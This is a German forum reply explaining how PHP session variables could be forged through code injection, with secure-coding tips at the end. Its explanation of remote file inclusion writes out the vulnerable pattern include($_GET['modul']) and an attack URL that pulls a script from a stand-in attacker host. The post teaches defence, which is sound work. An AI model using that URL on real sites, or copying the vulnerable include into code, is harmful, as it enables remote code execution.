Christian Seiler: Sessions

Beitrag lesen

Hallo Oliver,

Das sollte, sofern keine Sicherheitslücke in Deinen Scripten vorhanden ist, nicht möglich sein.

Wie könnte denn solch eine Sicherheitslücke aussehen?

Kurze Antwort: Wenn man das schon im Voraus sagen könnte, dann würde Software keine Sicherheitslücken mehr haben.

Lange Antwort:

Nunja, da gibt es mehrere Möglichkeiten.

Die vermutlich häufigste Möglichkeit wäre, dass der Besucher auf irgendeine Weise Code in Deine Scripte injizieren kann - denn dann könnte dieser Code Deine Session-Variable setzen. Beispielsweise könnte ein Besucher Dein Script veranlassen, den Code $_SESSION['user'] = 'namedesbenutzers'; auszuführen. (Oder halt ähnlich, je nachdem, wie Du Deine Session-Variable genannt hast) Hier stellt sich nun die Frage, wie so ein Angreifer Code »injizieren« könnte. Mir fallen zwei offensichtliche Methoden ein - es gibt aber bei weitem noch mehr. Die eine Methode wäre, dass Du an irgendeiner Stelle eval() verwendest und dort verwendete Variablen vom Benutzer kommen. Wenn Du Benutzervariablen, (also solche, die aus $_GET, $_POST oder $_COOKIE kommen) die Du in eval() verwendest, nicht vorher prüfst, dann kann somit beliebiger Code ausgeführt werden. Eine andere Möglichkeit wäre, dass Du include() mit dynamischen Dateien verwendest, also z.B. index.php?modul=datei.php - wenn Du an dieser Stelle ein include ($_GET['modul']); machst, dann wird in dem Fall datei1.php include()t, der Angreifer könnte jedoch auch index.php?modul=http://angreifer.com/boeses_script.txt aufrufen - und dann würde PHP automatisch das böse Script mit einbinden.

Wie gesagt: Prinzipiell kann man aber keine allgemeine Antwort geben, man muss den Code kennen, um potentielle Angriffsmöglichkeiten abschätzen zu können.

Sicherheit erreicht man am besten, indem man selbst versucht, seine eigene Software anzugreifen. Versuche Dich in einen Angreifer hineinzuversetzen und überlege, wie er etwas knacken könnte. Was vor allem ganz wichtig ist: Der Angreifer sollte _keine_ Chance haben, egal, ob er Deinen Code kennt, oder nicht. Denn »security through obscurity«, d.h. Sicherheit durch das Vertrauen darauf, dass niemad den Code kennt, funktioniert nicht.

Ein paar Tipps zum sicheren Programmieren: (wenn Du einiges davon nicht sowieso schon tust)

- schalte beim Entwickeln register_globals aus. So musst Du zwangsläufig
   auf $_GET, $_POST, $_COOKIE, $_SESSION und $_SERVER zurückgreifen, dann
   weißt Du aber auch _genau_, woher eine Variable kommt und woher nicht.
   Siehe dazu: http://de3.php.net/manual/de/security.registerglobals.php
 - Überprüfe jegliche Art von Eingaben, die Du bekommst, auf Plausibilität.

Unter http://de3.php.net/manual/de/security.php sind noch ein paar detailierte Informationen zum Thema zusammengestellt.

Christian

--
Hast Du einen Beitrag? Nur her damit!
http://aktuell.de.selfhtml.org/tippstricks/beitrag.htm
SELF-Code: (http://emmanuel.dammerer.at/selfcode.html)
sh:) fo:) ch:] rl:( br:> n4:& ie:% mo:) va:) de:] zu:) fl:( js:| ss:) ls:[